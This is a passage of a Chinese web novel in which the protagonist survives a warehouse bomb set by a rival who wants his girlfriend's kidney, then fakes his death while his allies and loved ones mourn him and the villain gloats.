我的心脏猛地一沉,周叶青的脸色也变了。
“还有林薇儿……”电子音继续说,“她现在在周家的静水山庄不假,可她总有出来工作的时候吧,你能保护她多久?我的人已经混进去了!”
“还有……夏颜……”电子音顿了顿。
当他说到夏颜的时候,我本能的紧张起来!
“夏颜虽然现在在医院,但医院的安保……你真的觉得够吗?”**里的声音变得非常的诡异。
“如果你敢动她们任何一个人,我一定会杀了你!”我狠狠的说道。
“狠话谁都会说。”**不以为意,道:“但现实是,现在主动权在我手里。我有三处目标,你只有一个人,你能同时保护所有人吗?”
“目标A就位!”
“目标B就位!”
“目标C就位!”
电话里传来一阵声音,像是有人在像他报告!
“听到了吗?我的人手已经就位了,现在,给你一个选择!”**继续说道:“一小时后,城东老码头,三号仓库,你一个人来,如果你来了,我的人就不会动手,如果你不来,或者带了其他人……”
他没有说完,但意思很清楚。
“我怎么知道你会守信?”我问。
“你没有选择,只能相信。”**说道。
周叶青的手机响了,她接通后听了几句,脸色变的越来越难看。
“陈凡,柳媚笙那边确实发现了可疑人员。”周叶青说道。
“白大哥,秘卫现在能调动多少人?”我问道。
“还能调动二十人左右。”白起回答。
“分成三组,一组加强医院的防守,我要这里成为铜墙铁壁,一组去酒吧,确保柳媚笙的安全,一组……”
“静水山庄很安全,只要林薇儿不出来,就没问题。”周叶青道:“那你呢?”
“我去码头。”我说。
“那是陷阱!”周叶青皱眉。
“我知道,但我想最好的应对方式,就是走进陷阱,然后把设陷阱的人一起埋在里面!”
126争夺夏颜!
不入虎穴焉得虎子。
我想要搞清这一切,就得自己亲自去。
周叶青沉默了几秒,然后点头说道:“我会调动一只队伍去码头接应你,但是陈凡,你要明白,你这样去,肯定是有风险的!”
“我知道。”我站起身,最后看了一眼夏颜说道:“夏颜现在昏迷未醒,秦悦被秦昊给**,如果不除掉秦昊,我们处境会更难,有些事,我必须当面解决。”
我走到病房外,白起跟了出来。
“陈老弟,我跟你去。”白起说道。
我摇了摇头,道:“白大哥,你还是留在医院,夏颜需要有人保护,而且,医院这里才是秦昊真正的目标,秦昊说三处目标,也许只是**,他真正的目标可能还是夏颜。”
白起犹豫了一下,最终点头道:“明白,我会保护好夏小姐。”
“多谢!”我拍了拍他的肩膀,然后走出了医院。
当我走出医院的瞬间,我拿出手机,拨通了另一个号码。
电话响了很久才被接起。
“我需要你的帮助。”我说。
电话那头传来一声轻笑道:“陈凡,你知道现在几点吗?”
“知道。”我认真严肃的说道:“所以我才需要你,老码头,三号仓库,一小时后,对方可能有三十人以上,全副武装。”
电话那头沉默了几秒:“很危险?”
“相当危险,你敢来么?”我说道。
“等我十分钟!”对方说道。
电话挂断,秋风吹来了夜晚的凉意。
“吱!”
一辆风驰电掣的黑色摩托车,急刹在我面前!
车上的人递给我一个头盔,我接过戴上,然后跨上后座,我没有一句废话,摩托车引擎轰鸣,冲进夜色之中。
摩托车飞速疾驰,晚风在我耳边呼啸而过,我的意识格外的清醒。
秦昊,司徒鸣,夏振宇……所有挡在路上的人,所有伤害我在乎之人的人,都要付出代价!
几分钟后,摩托车在港口停下,这里曾经是海城的货运中心,如今早就荒废多年。
“事成之后,我送你一辆摩托车。”我对着骑手说道。
“可以,不过我要全世界最好的!”骑手对我说。
我点了点头道:“没问题,你在这里等我。”
骑手点了点头,看着我走入老码头,他没有离开,算是我给自己留下的唯一后手。
我进入老码头,找到了三号仓库,这里的外墙早已斑驳,里面的铁皮也长满了铁锈。
仓库的大门虚掩,里面一片漆黑!
我深吸一口气,然后推开仓库门,走了进去。
吧嗒!
在我走进去的瞬间,仓库里面忽然亮起来了灯光,是探照灯,刺眼的光芒让我本能的捂住眼睛。
这里没有人,空荡荡的,和我预想的陷阱完全不同?
所以,这个人叫我来这里,到底是为了什么?
我站在原地,没有轻举妄动,我在观察四周,看看有没有潜在的威胁存在。
毕竟我单枪匹马的来,真的打起来,对方冲出来几十人,我是不可能赢的!
“陈凡,你很准时!”
一个电子声音响起,是那个电话里**的声音,我四下张望,并没有发现**。
“我来了,你人呢?”我说道。
“人?”**嘲笑道:“什么人?我只说让你一个人来,可没说这里有别人在等你。”
“你把我叫来这里,你到底是什么目的!”我质问道。
“我当然是想和你玩一场游戏!”
电子音刚说完话,仓库的角落里传来机械运转的声音。
一个自动机器人,它滑行到我的面前,然后停下。
机器人的顶部打开,升起了一个平板电脑大小的屏幕,屏幕亮起,上面出现了一个人脸!
秦昊!
果然是他!
“费这么大周折,就为了和我视频通话?”我冷冷地说。
“视频通话?不不不,这只是开始,你想过没有,我为什么要用这种方式见你?为什么我不直接在仓库里埋伏三十个人,把你乱枪打死?”
我没有回答,因为秦昊是个变态,是个疯子,所以我准备看他自导自演。
“因为那样太无趣了。”秦昊靠在他书房的椅背上,悠悠的说道:“杀了你,对我有什么好处?你是周叶青的合作伙伴,柳媚笙的男人,杀了你,这些人都会成为我的敌人,而我秦昊,从来不做亏本的生意。”
秦昊的这一番话,让我倍感意外,他不想杀我,那他大费周章的搞这一出是为了什么?
“你到底想干什么!”我质问道。
“合作。”秦昊直截了当地说。
“你疯了?”我几乎要笑出来。
“恰恰相反,我清醒得
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很。”秦昊的表情变得认真,道:“听着,陈凡,我知道你恨我,因为我动了夏颜,但你要明白,那只是手段,不是目的,我的目的从来不是伤害夏颜,而是得到我需要的东西。”
“你想要夏颜的肾脏,你觉得我能饶过你?”我冷冷的说道。
“人有两个肾,夏颜给我一个,她又死不了!更何况,我可以保证夏颜一辈子的生活。”秦昊一脸无所谓的说道:“不然,你以为我为什么追求夏颜?”
“所以你为了自己,就可以牺牲别人的生命?!”我狠狠的骂道。
“陈凡,你别把自己说的那么高尚。”秦昊冷笑道:“你陈凡手上就干净吗?冯家是怎么倒的?那些挡你路的人是怎么消失的?我们都是一类人,为了目的不择手段,区别只在于,我比你更坦诚。”
我懒得再和秦昊口舌之争,他是个疯子!
“陈凡,把夏颜交给我,我可以给你一切想要的东西!钱,女人,我都可以给你,只要夏颜帮我完成肾脏移植手术,我就把她还给你,我也可以帮你对付司徒鸣!”
秦昊在视频里说道:“我知道司徒鸣一个致命的秘密,如果你答应我,我可以帮你!我是个疯子,但我更想活下来!”
“秦昊,司徒鸣是你干爹,你还要对你干爹下手?”我一脸鄙视道。
“干爹又怎样?你以为他为什么扶持我?还不是为了我秦家的财产,我不过就是他眼里的一条狗而已!”秦昊的脸上,露出了自嘲的表情。
他的这一番说辞,确实是让我感到意外。
“陈凡,我们都是大人物眼里的棋子,你以为周叶青扶持你,是真的赏识你,她不过是找了一把对付司徒鸣的快刀而已!”
“现在秦家已经被我掌握在手里,只要我动动手指,秦悦的命,就会消失,你舍得让她香消玉殒?”
“还有司徒晴,我知道她对你有意思,只要你把夏颜送过来,我就把司徒晴给你。”
“陈凡,两个女人,换一颗肾,我保证夏颜绝对没有危险,我只要她的一颗肾而已!”
“你做梦!”我冷冷的说道:“夏颜,我绝对不可能给你!”
“唉……”
视频里,秦昊叹了一口气,他一脸无奈道:“真是敬酒不吃吃罚酒,浪费了我那么多的口水,你还是顽固到底,那现在你也只能**了!”
127港**炸!
我对着屏幕上的秦昊,冷冷的说道:“夏颜不是物品,不是交易的筹码,你需要肾脏,与我们无关!”
“**以为自己是谁?!”秦昊猛地从椅子上站起来,骂道:“圣人?救世主?陈凡,别他妈装清高!你以为你手上有多干净?!”
“我没说自己是圣人。”我冷静道:“但我至少知道底线在哪里,而你,就是一个畜生!不,你连畜生都不如。”
秦昊死死盯着我,胸膛剧烈起伏!
最后,他忽然笑了,笑的让人毛骨悚然!
“好……很好……”秦昊终于停下笑声。
秦昊坐回椅子,他整理了一下衣服道:“我父亲教过我一个道理,他说这个世界上只有两种人,棋手和棋子,棋手决定棋子的命运,而棋子只有被使用的价值,没有选择的资格。”
“我以为你是棋手,所以想邀请你一起下这盘棋。但我错了,你也不过是个自以为是的棋子罢了。”
“既然你选择做棋子,那就做好被清除的准备!”
秦昊嘴角扯起了一个诡异的笑容,他的手指按下了某个按钮。
“滴!”
一声清脆的电子音在仓库里响起。
我立刻提高了警觉,紧接着,从机器人的内部传来一个声音:“**已激活,倒计时30秒!”
机器人的屏幕上闪烁着巨大的红色数字:30。
然后数字开始跳动:29,28,27…
妈的!
秦昊在这里安装了**,这个狗东西!
这个**,他从一开始就没想着让我活着出去,他刚才的那番说辞,不过就是在耍弄我,他享受的就是这种耍弄对手的感觉!
“陈凡,跑啊!”秦昊得意洋洋的道:“让我看看,你现在还能跑出去么,这个**威力不小,除非你跑出大门外,不过,你现在只有25秒了!”
屏幕上的数字跳到:25。
没有时间了!
我立刻转身逃跑!
25秒!
我猛地转身,朝着仓库大门的方向全力冲刺。
我的肾上腺素,在这一刻爆发,我希望我能跑的再快点!
十五米,仓库大门近在咫尺了!
只要我跑出去,我就能活下去!
机器人的声音在读秒:18,17,16……
突然,大门传来一阵机械声音,厚重的卷门帘开始下降!
我去**秦昊!
你特么把门都要封死!
我使出浑身的力气,拼命的狂奔!
卷帘门下降的速度很快,离地面只有一米半的高度!
这个距离,我只有趴下,才能滚出去!
倒计时:10,9,8……
就在这时,震耳欲聋的引擎轰鸣声在门外炸响!
一辆摩托车从卷帘门的缝隙里冲了进来!
那是我的给自己留下的后手!
骑手俯下身体,摩托车几乎贴着地面滑了进来,车还没停稳,他就朝我伸出了手道:“上来!”
我没有任何犹豫,直接抓住他的手,然后借力一跃,跨上了摩托车后座,整个过程不到一秒。
“抓稳!”骑手吼道。
摩托车的轮胎和地面发出刺耳的摩擦,然后朝着闭合的卷帘门缝隙冲去!
“砰!”
一声巨响,整个仓库瞬间被白光笼罩,然后就是冲天的火光直冲云霄。
3号仓库,顿时火光连天,周围的建筑物,玻璃,全部被震碎,掀飞!
**在摩托车冲出大门后**,我和骑手瞬间被甩飞出去,然后重重的摔在水泥地上。
我双手护住头部,能感觉到周围都是炙热的气流,一股硝烟的刺鼻味,扑面而来。
**的时间很短,也就两三秒。
但当声音平息后,我的耳朵里,只剩下尖锐的耳鸣。
我剧烈的咳嗽,然后从地上爬起来,尽管我肩膀上的伤口又裂开了,但我还活着!
剩下尖锐的耳鸣时,那三四秒感觉像永恒一样漫长。
我咳嗽着,挣扎着爬起来。浑身都在疼,到处是擦伤和淤青,肩上的伤口可能又裂开了,但我还活着。
我转头看向骑手,他也慢慢坐了起来,他看起来很年轻,他的左脸上有一道浅浅的疤痕。
“你没事吧?”我问。
“我的车,没了!”骑手说道。
“我会给你买最好的摩托车……”
我的话还没说完,骑手就打断了我说道:“**,真刺激
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,陈凡,这比我们比赛还刺激!”
骑手一脸兴奋的看着我,他望着面前熊熊火光,没有丝毫的恐惧,有的就是兴奋!
我知道,喜欢玩极限运动的人,都喜欢刺激。
只是没想到他胆子这么大!
这个**,**威力很大,如果骑手刚才没来救我,我肯定就被炸死在里面了。
想到这,我递给他一个烟,道:“今天的事,谢了!”
“我不抽烟。”他说道。
我收回烟,好奇的问道:“你叫什么名字?”
“阿飞。”骑手简单地说道:“小姐让我暗中跟着你,她说秦昊不可信,可能会玩阴的。”
周叶青……她又救了我一次。
远处传来汽车引擎声和警笛声,周叶青的人终于赶到了,还有可能是**引来的警察和**。
我和阿飞说道:“走吧,这里不能久留!”
“好!”
我和阿飞两个人互相搀扶着,用尽所有的力气,然后跑出了仓库。
我不想让赶来的人,发现我。
因为我还有我的计划要做。
“陈凡!”周叶青的声音从身后传来。
我转过身,看到她带着白起和一群人快步跑过来。她看到我浑身是伤但还站着,明显松了口气,但脸色依然凝重。
“怎么回事?”她问。
“秦昊想要炸死我!”我只说了两个字。
周叶青看着燃烧的仓库,眼神冷了下来:“他埋了**?”
我点头道:“整个仓库都是!”
周叶青沉默了几秒,然后说道:“刚刚接到消息,秦昊消失了!”
“他当然有准备。”我冷笑道:“从设计这场会面开始,他就准备好了两个结局——要么我合作,要么我死,只不过他没想到,我两个都没选。”
火焰在夜色中燃烧,把我们的影子拉得很长。警笛声越来越近,消防车的红色警灯已经在码头入口闪烁。
“有人来了。”白起说道:“我们要先离开,不然会被卷进去做笔录,至少耽误一整晚。”
周叶青看向我:“陈凡,你现在的状态需要去医院。”
“不。”我摇头,道:“我还有更重要的计划!”
128制**死!
“计划什么?”周叶青问我。
“计划怎么把秦昊从老鼠洞里挖出来,计划怎么弄死他!”
我紧握双拳,我对秦昊新仇旧恨加在一起,我是绝对不会饶了他!
“周总,你现在离开这里吧,对外宣称,我被炸**!”
“你要假死?”周叶青不敢相信的看着我。
“是的,只有让秦昊相信,他才会放松警惕!”我苦涩一笑,现在我脑袋里只有这一个办法行得通。
“你觉的秦昊会相信吗?”周叶青问道。
“当然,他是一个绝对自负的人,**是他安装的,按钮是他按的,就连**时间和我逃跑时间,他都计算出来了,可他唯一漏掉的就是阿飞!”
我看了一眼阿飞道:“如果,没有阿飞,我可能真的就被炸死在这里。”
“秦昊现在应该沉浸在胜利的喜悦中,他以为他除掉了我,不过,按照他的性格,可能过不了多久,他就会派人来这里查看。”
“所以,你想用假死这个消息,给自己争取时间机会,然后等待一击必杀秦昊!”周叶青接着我的话说道。
我点了点头,然后又摇了摇头,道:“不只是秦昊,还有司徒鸣,夏振宇,每一个人,我都不会放过!”
“你的计划风险很大,要骗过秦昊不容易,他是个多疑的人,码头**虽然威力巨大,但如果没有确凿的证据,他不会轻易相信你**。”周叶青说道。
“那就给他证据。”我说。
“什么证据?”周叶青问道。
我想了想说道:“**现场如果找到我的DNA样本,秦昊就会相信了,**那么大,人,早就被烧焦了。”
周叶青的眼睛亮了起来:“你要伪造一具尸体?”
“不是伪造,是让所有人相信,我死在了这场**里,具体的细节,需要你的资源和手段。”
“可以。”她开口说道:“但有几个条件。”
“说。”
“第一,假死期间,你不能出现在任何可能被认出来的地方!”
“可以。”
“第二,这次行动的所有决策,你必须和我商量,我们不能各自为战,否则很容易出现漏洞,被秦昊识破。”
“同意。”
“第三,”周叶青转过身,直视着我道:“夏颜那边,你打算怎么处理?”
周叶青的这个问题,让我沉默了。
夏颜刚从昏迷中醒过来,她的身体还恨虚弱,如果知道这个消息,她恐怕承受不住。
于是我想了想说道:“夏颜必须知道真相,但也只能她一个人知道,告诉她,让她配合演戏。”
“她会同意吗?”周叶青问道:“让她在所有人面前假装悲伤,那对她来说会很残忍。”
“但这是必须的。”我的声音低沉道:“如果秦昊从夏颜的反应中看出破绽,整个计划就会失败!”
“好,我会回去亲自和她说,不过陈凡,你要记住,这个计划一旦启动,你就没有回头路了,你要做好最坏的打算!”
“我明白。”我说。
“你可以走了,剩下的交给我就行了!”
我点了点头,和阿飞互相搀扶着,走出了这片**火海!
我知道,我的这个计划,可能会给爱我的女人们带来伤害,可是,为了击败敌人,我也只有这样。
秦昊,就先让他得意一阵好了……
……
同一时间,某个高档公寓的顶楼!
秦昊站在巨大的落地窗前,手里端着一杯威士忌。
他的嘴角挂着疯狂的笑意,他身后的电视里,正播放着**视频!
视频里,巨大的仓库在一声巨响后,火光冲天,所有的建筑物都陷入火海之中,浓烟滚滚!
视频里,几位治安署的人围着一堆焦黑的,无法辨认的残骸。
“初步判断,这是人体组织残骸。”治安署的一个男的说道:“这次**威力太大,尸体被炸得粉碎,只剩下这些……”
画面继续切换,几个穿着白大褂的法医正在现场收集样本,小心翼翼地装进证物袋。
秦昊喝了一口酒,眼神专注地盯着屏幕。
秦昊的嘴角上扬得更明显了。
“少爷,现场确
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定了,陈凡被烧焦了!”秘书走过来说道。
秦昊慢慢转身,将杯中的酒一饮而尽。
“确定吗?”秦昊问道。
“确定,我们已经确认过了,是从DNA确认的!而且……”
“而且什么?”秦昊问道。
“而且周叶青那边已经有了动作。”秘书说道:“她的人在**后第一时间赶到现场,控制了现场的大部分区域,但根据我们安插的眼线汇报,周叶青看到那些残骸时,脸色非常难看,然后立刻离开了,没有再回来。”
秦昊听后笑了,他知道,陈凡这次真的是被炸**!
陈凡死在了他的陷阱中,这让他非常的有成就感!
秦昊是真心喜欢夏颜的,所以除掉陈凡这个情敌,他心里别提多痛快了,再也没有人跟他抢女人了!
“通知下面的人,进入第二阶段的计划,我要在三天之内,看到夏颜做移植手术!”
“明白,少爷!”秘书点了点头道:“还有一件事,秦悦小姐那边,我们该怎么办?”
“下去吧,她的事情,我亲自办!”
“是,少爷!”
等秘书走后,秦昊离开了公寓,然后开车前往囚禁秦悦的公寓。
此刻的秦悦,正被绑在椅子上,她的嘴巴还被塞住。
可即便如此,秦悦也没有留下一地眼泪,她脸上印着的都是不屈服!
门被推开了,秦悦下意识的望向门口,她希望来的人是陈凡,她渴望陈凡来救她!
可希望再一次破灭,因为来的人,正是秦昊。
“看见是我,很失望吧!”秦昊冷冷的笑着。
秦悦狠狠的瞪着秦昊,眼神足以**!
“你是在等陈凡吧!”秦昊走到秦悦的面前,趾高气扬的看着她,然后扯下塞在她嘴里的布条!
“秦昊,你个卑鄙小人,竟然使用下三滥的手段,陈凡一定不会放过你!”
“呵……还想陈凡呢?”秦昊冷冷的说道:“别瞪了,陈凡被我炸**!”
“什么!?”
“你说什么?!”秦悦不可置信的看着秦昊!
129女友们,悲痛欲绝!
陈凡**。
这几个字,在秦悦的脑袋里炸开。
她不敢相信,自己又爱又恨的那个男人,怎么可能就这样**?
“怎么?不相信我说的话?”秦昊一脸阴险的拿出一个手机,然后点开视频播放。
“海城新贵陈凡在码头**身亡……”
一个醒目的标题,映入在秦悦的眼里。
秦悦夺过手机,点开了视频,她看到了现场照片,看到了目击者的采访,看到了烧焦的残骸,听见了治安署的证实。
“现在证据都在这里,你还不信?”秦昊冷冷的问道。
“秦昊,我要杀了你!”秦悦眼眶通红,就像是一个发疯的雄狮!
秦昊一把推开了秦悦,不悦道:“你现在这样,你能对付我?我劝你还是乖乖合作,不然的话,我会让你去见陈凡!”
秦昊开门见山的说道:“你知道,我从小肾就不好,现在需要**了,我的血型比较特殊,不过,夏颜正好可以做我的**!”
听到这里,秦悦睁大了眼睛,不敢置信的看着秦昊,质问道:“所以,你从一开始就将夏颜作为你的**是么!”
“没错!”
“所以你从高中开始追求夏颜,也是装模作样?”秦悦几乎颤抖着问道。
“没错,不过,我是真的喜欢夏颜,如果我的身体里,有了她的肾,岂不是很浪漫的事情?”秦昊一脸自信的说道。
“秦昊,你疯了,你个畜生!”秦悦再也忍不了,她挣扎着,在椅子上骂道:“亏我还将夏颜介绍给你认识,原来你早就对她图谋不轨了!”
“谢谢,我的好妹妹!没有你,哥哥我是活不下去了!”秦昊一脸得意道:“现在摆在你的面前只有一条路,将夏颜给我带出来,我知道,你俩重归于好了,这对你来说,不难吧!”
“你做梦!你休想!我是绝对不会……”
啪!
秦昊一个巴掌扇过去,秦悦的脸上赫然出现一个红手印!
秦悦没有低头,她仰起头,高傲的看着秦昊道:“你就是打死我,我也不会背叛夏颜!”
“呵呵!”秦昊冷冷的说道:“可以啊,那我就让秦远宏滚下秦家家主的位置!”
“你!”秦悦瞪着秦昊。
“给你一个晚上考虑的时间,要不要把夏颜带出来,记住,如果你不同意,我会让你和你父亲一起死!”
“我不介意,在弄一个**出来!”
秦昊一脸嘲讽的看着秦悦,然后对着手下说道:“看好她!”
“是,少爷!”
秦昊带着人离开,房间里只剩下秦悦。
憋了很久眼泪的她,终于哭出声,不是为自己,而是为陈凡。
“陈凡,对不起,我没有保护好你!”
“我还没来得及说爱你……”
……
翌日,清晨。
海城各大媒体头条,都被同一条新闻占据热点!
“震惊!凡颜资本创始人陈凡在码头**中身亡!”
“新贵陨落,陈凡意外身亡!”
“**现场惨烈,陈凡尸骨无存,治安署已经介入调查!”
每一条新闻里,都附上了现场的照片,无论是目击者征集,还是治安署的结论,一切都被周叶青安排的天衣无缝,周叶青调动了周家的资源,让这条新闻,在短短半个小时内,就传遍了整个城市。
同一时间,上城郊某处废弃工厂的地下室。
司徒晴蜷缩在墙角,身上裹着一条粗糙的毛毯,她已经被关在这里一天一夜了!
她在等陈凡来救自己,可她等来的确实一群陌生人,那些人将她关在了这里。
她被关在这里已经两天了。
极度的恐惧,加上饥寒交迫,让她第一次有了绝望!
作为一个高高在上的大小姐,她何时受过这样的**!
就在这时,地下室的门突然被打开。
司徒晴猛地抬头,看到几个戴着头套的男人闯了进来,她本能地往后缩,但身后已经是墙壁,无处可退。
“你们是谁?”
“司徒小姐,我们是来救你的,请和我们走!”为首的男人说道。
“救……救我?”司徒晴愣住了,问道:“你们是谁派来的?”
“周叶青小姐让我们来救你!”
“好,我和你们走!”司徒晴说道。
男人们迅速护送她离开地下室,上了一辆停在工厂外的黑色越野车,车子立刻发动,驶离废弃工厂区。
“周姐姐,为什么来救我?”司徒晴问到。
“陈凡先生生前委托过周小姐,要确保你的安全,即使他不在了,周小姐也会履行承诺。”
陈凡……生前……
这两个词像两把刀子,狠狠刺进司徒晴的心脏,她的眼眶瞬间红了,泪水不受控制地涌出来。
“你在说什么,陈凡他怎么了!”司徒晴哽咽着问。
男人沉默了几秒,然后说道:“海城码头仓库**,那晚陈先生被秦昊约到那里,然后那里就**了,里面发现了他的DNA
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和残骸!”
呼!
司徒晴不敢相信自己听到的话,她捂住嘴,她压抑着自己,可她还是浑身颤抖,哭的像个孩子一样。
她的哥哥和父亲失去联系,她没有哭,可在听到陈凡不在的消息,她再也忍不住了……
那个男人,他总是冷着一张脸,可却给了自己最多的关心和时间。
可是他却不在了。
真的不在了。
“送我去哪里?”她哭着问。
“一个安全的地方。”男人说道:“周小姐已经安排好了,在那里,司徒家的人找不到你,你暂时是安全的!”
“暂时?”司徒晴抬起泪眼,问道:“然后呢?我一辈子躲躲藏藏?”
“等局势稳定下来,周小姐会帮你安排新的身份,送你去国外。”男人说道:“你可以重新开始。”
重新开始?
司徒晴苦笑,没有陈凡的世界,她怎么重新开始?
可是,她没有说出来,因为世界上最宠他的那个男人,已经不在了,她看着窗外,泪水模糊了视线。
“陈凡,如果你在天有灵,请保佑我有一天能为你报仇!”
……
上城。
静水庄园,林薇儿疲惫的瘫在沙发上。
她整个人,一天都没有吃东西,她脸上挂着泪痕,她已经不知道哭了多久,只知道,眼泪都已经流干了。
从她在新闻上,看到陈凡身亡的消息,她的心也就跟着**!
可她还是不愿意相信事实,她拨通了柳媚笙的电话,她知道,柳媚笙在海城,一定知道陈凡的消息。
林薇儿实在不敢相信,那个曾经无数次帮助她的男人,怎么可能会死掉!
“柳姐姐,你看新闻了吗?”林薇儿带着哭声问道。
“嗯。”柳媚笙疲惫的回答,她有些哽咽。
“陈凡是不是没有死,新闻是不是假的,柳姐姐,你快告诉我啊!”林薇儿哭着吼道。
“薇儿……新闻是真的,我也不愿意相信,可他……”
柳媚笙的话再也说不下去了,两个女人,一个在电话这头,一个在电话那头,都握着手机,流着眼泪,却不知道该说什么……
哭声,听着就让人心疼。
“后天,就是陈凡的追悼会,周叶青安排的,你会来么?”
“去!我要去!”
林薇儿此刻不顾及自己明星的身份,她一定要去看陈凡!
“怎么办陈凡,没有你,我都没有心了……”林薇儿的泪水夺眶而出……
130难得夫妻是少年!
海城医院,VIP病房。
夏颜躺在病床上,她脸色有些苍白,她的手上还挂着点滴。
门被轻轻推开,周叶青走了进来。
周叶青今天穿了一身黑色西装,她妆容很淡却面色凝重,她手里拿着一份文件。
看到夏颜,她点了点头,然后轻声问道:“感觉怎么样?”
“好些了,医生说我明天就可以下床走动了。”夏颜声音虚弱道。
周叶青听后沉默了几秒,她犹豫了一下,最后还是选择开口,道:“夏颜,有件事,我必须要告诉你。”
“什么事?”夏颜的心里涌起一股不祥的预感。
周叶青深吸一口气,她打开文件夹,从里面拿出一份打印出来的新闻稿,递给夏颜。
夏颜接过,目光落在标题上:“海城码头**案确认一人死亡,为凡颜资本创始人,陈凡!”
夏颜的手开始不停的颤抖!
“不!”
“这绝不可能!”
夏颜的眼睛继续扫视文件:“现场发现人体组织残骸,经过DNA比对,为陈凡。”
这条新闻的每一个字,都像是一把尖刀扎进了夏颜的心里。
“不……”她喃喃道,声音小得几乎听不见。
“夏颜……”周叶青想要说些什么,但夏颜猛地抬头。
“这不是真的!”夏颜歇斯底里道:“他在哪?陈凡在哪?!你们是不是在骗我?!”
“夏颜,冷静一点。”周叶青试图安抚她到:“治安署的人已经确认了,陈凡已经被炸**……”
“我不信!”夏颜打断了周叶青的话,歇斯底里道:“我要见他!我现在就要见他!带我去见他!”
夏颜猛然坐起身子,她疯狂的扯下手上的针管,她现在感觉不到任何的疼痛,她只想去找陈凡。
“夏颜!住手!”周叶青立刻站起来,按住她的肩膀,道:“你不能这样!你还在治疗中!”
“放开我!我要去找他!他不能死!他答应过我的!他答应过会永远陪着我!”夏颜拼命的挣扎。
夏颜的力气很大,那种从绝望中爆发出来的力量,让周叶青按不住她。
输液架被撞倒,药瓶摔碎在地上,随后监测仪发出刺耳的警报声。
忽然,病房门被推开,一个医生和三个护士冲了进来,看到眼前的情景,他们立刻上前帮忙!
“按住她!”一个中年医生喊道:“别让她伤到自己!”
几个医护人员一起,才勉强把夏颜按回床上。
可她还在疯狂挣扎,嘴里哭喊着陈凡的名字,此时的夏颜像个彻底失去理智的孩子。
“镇定剂!”医生对护士说,“准备注射!”
“不……不要……”夏颜的声音已经哭到嘶哑,道:“让我去找他……求求你们……让我去找他……”
护士迅速准备好了针剂,尖锐的针头刺入她的手臂,夏颜的挣扎渐渐减弱,眼神开始涣散,但眼泪还在不停地流。
“他真的……”夏颜看着周叶青,带着最后一丝的希望,问道:“真的……**吗?”
周叶青看着她,眼圈也红了,她握住夏颜的手,声音哽咽道:“是的,陈凡在码头**中去世了。”
“呼!”
夏颜眼里最后的光彻底熄灭了!
她闭上眼睛,整个人瘫软在床上,不再挣扎,不再哭喊,只是无声地流泪,那种彻底的绝望,比刚才的疯狂更让人心碎。
周叶青没有人说话,病房里只有仪器规律的滴答声,和夏颜压抑的抽泣声。
周叶青一直握着她的手,直到她的情绪稍微平复一些。
“追悼会什么时候举行?”夏颜突然开口,声音沙哑着问道。
“明天下午,在城西的殡仪馆。”
“我要去,我要送他最后一程!”
夏颜语气平静,可平静之下,就是掩饰不住的悲伤。
“夏颜,你的身体……”周叶青想要劝阻她。
“我要去!不管用什么方法,给我打针也好,给我用药也罢,让我能站起来,能走路,我要去参加他的追悼会。”
医生看向周叶青,周叶青点点头:“安排一下吧。让她去。”
“好吧。但只能待一个小时,而且必须有医护人员陪同。”医生叹了口气道。
夏颜没有再说话,只是闭上眼睛,泪水顺着眼角滑落
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,浸湿了枕头。
周叶青又陪了她一会儿,然后起身离开,走出病房前,她回头看了一眼夏颜,此刻的她眼神空洞,仿佛被抽空了灵魂。
周叶青走出病房,轻轻带上门……
……
而在城市的另一端,秦昊正坐在自己的书房里,面前的大屏幕上分成了四个画面。
其中一个画面,正是夏颜病房的监控。
刚才病房里发生的一切,秦昊都看得一清二楚。
他看得很仔细,甚至调高了音量,仔细聆听夏颜的每一声哭喊,每一个字。
当他看到夏颜被注射镇定剂,瘫软在床上无声流泪时,他的嘴角勾起一抹满意的笑容。
书房的门被敲响,然后推开,一个穿着白大褂的中年男人走了进来,正是刚才在夏颜病房里的那个医生。
“秦总。”医生恭敬地点头。
“坐。”秦昊指了指对面的椅子,问道:“情况怎么样?”
“夏颜小姐的情绪完全崩溃,她坚持要参加明天的追悼会,我们只能同意,但会限制时间并有医护人员陪同。”
秦昊点点头道:“她的身体状况呢?”
“还在恢复中,**案前使用的药物对她的身体有一定影响,需要至少一周的持续治疗才能完全代谢,不过参加一两个小时的追悼会应该没问题,只要不情绪太激动。”
“情绪激动?”秦昊笑了,道:“明天的追悼会,她怎么可能不激动?让她去,让她哭,让她在所有媒体面前展现她的悲伤,我要让全城的人都知道陈凡**,他的女人心碎了。”
“明白了,我会安排好随行医护人员。”
秦昊靠在椅背上,手指轻轻敲击着桌面:“周叶青那边呢?她的反应如何?”
“周小姐表现得很克制,但能看出是真的悲伤。”医生回答道。
“好了,你可以回去了。”
秦昊确认了自己想要知道的消息后,就下了逐客令,医生点了点头,起身离开。
当医生走后,秦昊的秘书推门而入。
“少爷,您有何吩咐?”
“明天陈凡的追悼会,我要亲自去!”秦昊一脸坏笑道。
131苏婉情的坚持!
“您亲自去?”秘书惊讶道:“少爷,那样太危险了,周叶青,夏颜,还有陈凡其他的朋友,他们都在那里……”
“我就是要亲眼看看他们是怎么崩溃的!”秦昊冷冷说道。
秦昊此刻心里油然而生一种病态的快感,他对陈凡是新仇旧恨一起算了。
“那需要安排安保吗?”秘书问道。
“当然,多带一些人,但是要低调一些,等追悼会结束,想办法把夏颜弄走,我的身体等不及了!”秦昊吩咐道。
“是!少爷!”
秦昊的身体指标一天不如一天,他必须要加快手术,才能确保自己活下去。
秘书走后,秦昊重新看向医院的监控屏幕,他看见夏颜已经睡着了,就算是在睡梦中,她的眉头依然紧锁,眼角还带着泪痕。
秦昊放大画面,仔细看着她的脸。
多美的一张脸,多绝望的一双眼睛。
可惜了……
秦昊叹了一口气,如果不是陈凡出现,她会顺理成章的嫁给自己,然后奉献出一颗肾脏给自己。
等自己手术成功,自己就能坐秦家的家主,甚至可以去争一争司徒鸣的那个位置。
“还真是一个完美的计划!”
秦昊的嘴角露出了一个满意的笑容,他对自己的计划格外的满意。
他拿起手机,拨通了一个号码。
“明天追悼会的安保,安排好了吗?”他问。
“已经安排好了。”电话那头回答,道:“我们的人会混在宾客中,确保您的安全。
“还有一件事,盯紧周叶青和夏颜!”秦昊命令道。
“明白,少爷!”
挂断电话,秦昊站起身,自言自语道:“明天,就是见证胜利的时刻!”
“再见了,陈凡,下辈子,记得别太嚣张!”
他举起手中的酒杯,对着虚空致意,然后一饮而尽。
……
海城,大发银行会议室。
这里的气氛很压抑,苏婉情坐在主位,其余位置坐的的都是高层领导。
她今天穿着深蓝色的职业装,即便是画着浅浅的淡妆,她的脸上也说不出的疲惫的憔悴,她的手里在看着贷款审批报表。
